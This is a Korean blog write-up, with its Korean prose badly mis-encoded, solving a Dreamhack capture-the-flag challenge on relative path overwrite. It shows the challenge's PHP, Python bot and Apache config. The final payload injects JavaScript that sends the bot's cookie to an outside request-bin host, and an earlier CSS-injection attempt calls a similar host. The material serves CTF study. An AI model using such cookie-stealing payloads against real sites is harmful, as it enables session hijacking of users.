[2025-08-17] RPO advanced
๐ฆฅ ๋ณธ๋ฌธ
-
bot.py
from selenium import webdriver from selenium.webdriver.chrome.service import Service import sys import base64 if len(sys.argv) < 2: exit(-1) if len(sys.argv[1]) == 0: exit(-1) path = base64.b64decode(sys.argv[1]).decode('latin-1') try: FLAG = open('/flag.txt', 'r').read() except: FLAG = '[**FLAG**]' def read_url(url, cookie={'name': 'name', 'value': 'value'}): cookie.update({'domain':'127.0.0.1'}) try: service = Service(executable_path="/chromedriver") options = webdriver.ChromeOptions() for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']: options.add_argument(_) driver = webdriver.Chrome(service=service, options=options) driver.implicitly_wait(3) driver.set_page_load_timeout(3) driver.get('http://127.0.0.1/') driver.add_cookie(cookie) driver.get(url) except Exception as e: driver.quit() return False driver.quit() return True def check_xss(path, cookie={'name': 'name', 'value': 'value'}): url = f'http://127.0.0.1/{path}' return read_url(url, cookie) if not check_xss(path, {'name': 'flag', 'value': FLAG.strip()}): print('<script>alert("wrong??");history.go(-1);</script>') else: print('<script>alert("good");history.go(-1);</script>')
check_xss()
์์ ์ฟ ํค์ flag๋ฅผ ์ง์ด ๋ฃ๊ณread_url()
์ ํตํด ์น๋๋ผ์ด๋ฒ๋ก ์คํ
-
index.php
<html> <head> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <title>Relative-Path-Overwrite-Advanced</title> </head> <body> <!-- Fixed navbar --> <nav class="navbar navbar-default navbar-fixed-top"> <div class="container"> <div class="navbar-header"> <a class="navbar-brand" href="/">Relative-Path-Overwrite-Advanced</a> </div> <div id="navbar"> <ul class="nav navbar-nav"> <li><a href="/">Home</a></li> <li><a href="/?page=vuln¶m=dreamhack">Vuln page</a></li> <li><a href="/?page=report">Report</a></li> </ul> </div><!--/.nav-collapse --> </div> </nav><br/><br/><br/> <div class="container"> <?php $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php'; if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/")) include $page; ?> </div> </body> </html>
- page ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด
.php
ํ์ผ ์คํ. ์ด ๋..
์ด๋:
์ด๋/
๋ ํํฐ๋ง
- page ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด
-
report.php
<?php if(isset($_POST['path'])){ exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output); echo($output[0]); } ?> <form method="POST" class="form-inline"> <div class="form-group"> <label class="sr-only" for="path">/</label> <div class="input-group"> <div class="input-group-addon">http://127.0.0.1/</div> <input type="text" class="form-control" id="path" name="path" placeholder="/"> </div> </div> <button type="submit" class="btn btn-primary">Report</button> </form>
-
์๋์ ๊ฐ์ ์ฝ๋ ์คํ
python3 /bot.py <Base64๋ก ์ธ์ฝ๋ฉ๋ path> 2>/dev/null &
- ์ด ๋ escape๋ฅผ ์ฌ์ฉํ์ฌ CLI Injection ํผํจ
2>/dev/null
: ์๋ฌ ์ถ๋ ฅ์ ์ ๋ถ ๋ฌด์&
: ๋ฐฑ๊ทธ๋ผ์ด๋ ์คํ
-
-
vuln.php
<script src="filter.js"></script> <pre id=param></pre> <script> var param_elem = document.getElementById("param"); var url = new URL(window.location.href); var param = url.searchParams.get("param"); if (typeof filter === 'undefined') { param = "nope !!"; } else { for (var i = 0; i < filter.length; i++) { if (param.toLowerCase().includes(filter[i])) { param = "nope !!"; break; } } } param_elem.innerHTML = param; </script>
- ํ์ฌ URL์ param ๊ฐ์ ๊ฐ์ ธ์์ ํํฐ๋ง ํ
<pre>
ํ๊ทธ์ ์ง์ด ๋ฃ์ - filter.js๊ฐ ์๋ ์ฃผ์๋ก ๋์ด ์์ด์ ํํฐ๋ง์ ์ํ ์ ์ํฌ ์ ์์
- ํ์ฌ URL์ param ๊ฐ์ ๊ฐ์ ธ์์ ํํฐ๋ง ํ
-
404.php
<?php header("HTTP/1.1 200 OK"); echo $_SERVER["REQUEST_URI"] . " not found."; ?>
header("HTTP/1.1 200 OK");
: ์๋ต ์ฝ๋ 200์ผ๋ก ์ง์ - ์์ฒญํ URL ๊ฒฝ๋ก๊ฐ not found์์ ๋ํ๋ด๋ ํ์ด์ง
-
000-default.conf
RewriteEngine on RewriteRule ^/(.*)\.(js|css)$ /static/$1 [L] ErrorDocument 404 /404.php
- URL Rewrite ์ง์ ํ๋ ์ฝ๋
.js
๋.css
ํ์ผ๋ช ์/static
๊ฒฝ๋ก์์ ์์ฒญํ๋๋ก rewrite[L]
: ์ด ๊ท์น์ด ๋งค์นญ๋๋ฉด ๋ค๋ฅธ RewriteRule ์ ์ฉ X- RewriteRule์ ์คํฌ๋ฆฝํธ์ ํ์ผ ์์ฒญ์์๋ ์ ์ฉ๋๋ฏ๋ก
<script src=filter.js>
์๋ ์ ์ฉ
ErrorDocument 404
: 404 Not Found ์๋ฌ๊ฐ ๋ฐ์ํ์ ๋/404.php
์คํ
- URL Rewrite ์ง์ ํ๋ ์ฝ๋
๊ธฐ์กด์ RPO ๋ฌธ์ ์์ rewrite rule๊ณผ 404 ํ์ด์ง๊ฐ ์ถ๊ฐ๋์๋ค.
๊ทธ๋์ ์ผ๋ถ๋ก 404๋ฅผ ์ ๋ฐํ๊ณ CSS Injection๊ณผ ์ฐ๊ณํ์ฌ ๋๋ฆผํต ํด์ฆ์ ์ฟ ํค๋ฅผ ๋ฃ์ด์ ๋ณด๋ด๋ ๊ฒ์ ์๊ฐํ๋ค.
index.php/page=evil.css/*{background:url(https://zcpzeje.request.dreamhack.games)}
๊ทผ๋ฐ CSS injection์ ์คํ์ํค๋ ค๋ฉด css๋ก ์ฝ์ด๋ค์ฌ์ผ ํ๋๋ฐ <link rel>
ํ๊ทธ๋ก๋ง ๊ฐ๋ฅํ๋จ๋ค..
๊ณต๊ฒฉํ๋ ค๋ฉด ์ผ๋จ ์น๋๋ผ์ด๋ฒ๋ก ๋ค์ด๊ฐ์ผ ํจ
์ฟ ํค๋ ์ธ๋ถ์์ ์์ฒญํด์ผ ํจ
์ฆ, js ์ฝ๋๋ฅผ ์คํํด์ผ ํจ โ 404.php ํน์ vuln.php
- vuln.php์์๋ filter.js๊ฐ ๋ฌธ์ . ์๋ ๊ฒฝ๋ก์ด์ง๋ง default ๊ฐ์ ์ํด static ๋ด๋ถ ํด๋์ ์๋ ๊ฒ๋ง ์๋
- JS์์ ์ฐ๊ณ ๋ถ๋ถ์์
/static/script.js
๋ก ๋ก๋๋์ด์ผ ํ ํ์ผ์/USER_INPUT/static/script.js
์ ํํ๋ก ๋ก๋ํ ์ ์๋ ๊ฒฝ์ฐUSER_INPUT
๋ถ๋ถ์ ์กฐ์ํ์ฌindex.php/alert(1);
์ฝ๋๋ฅผ ๋ฃ์- ์ต์ข
๊ฒฝ๋ก๋
/index.php/;alert(1);//static/script.js
๋ก ์ฒ๋ฆฌ - ๋ธ๋ผ์ฐ์ ๋ JS๋ก ์ธ์ํ๊ณ
/index.php
๋ฅผ ์คํ โ HTML ๋ฐํ - alert(1); ๋ถ๋ถ์ JS ์ฝ๋๋ก ์คํ. ๋ค
//static/script.js
๋ ์ฃผ์ ์ฒ๋ฆฌ๋์ด ๋ฌด์
๋ฅผ ์ด์ฉํ๋ ค๊ณ
index.php/alert(1);//?page=vuln
๋ฅผ ๋จผ์ ํด๋ดค๋๋ฐ alert(1)๊ฐ ์๋ฌ๋ค. ๊ทผ๋ฐ ;alert(1);๋ ๋จ? โ ์?
/index.php/
๋ฅผ ์ ๊ท์ ๋ฆฌํฐ๋ด๋ก ๋ฐ์๋๋ฆฌ๊ณ ;
๋ฅผ ํด์ผ ์ ๊ท์ ๋ฌธ์ฅ์ด ๋์์ ์๋ฆฌ๊ณ alert(1);
์ ํด์ผ ๋์ํ๋ค
ํ์ด ๊ณผ์
- ์๋์ ๊ฐ์ ์ฝ๋๋ฅผ
/report
API์ ์ ๋ ฅ
index.php/;location.href='https://hyfimog.request.dreamhack.games/'+document.cookie;//?page=vuln¶m=dreamhack
Leave a comment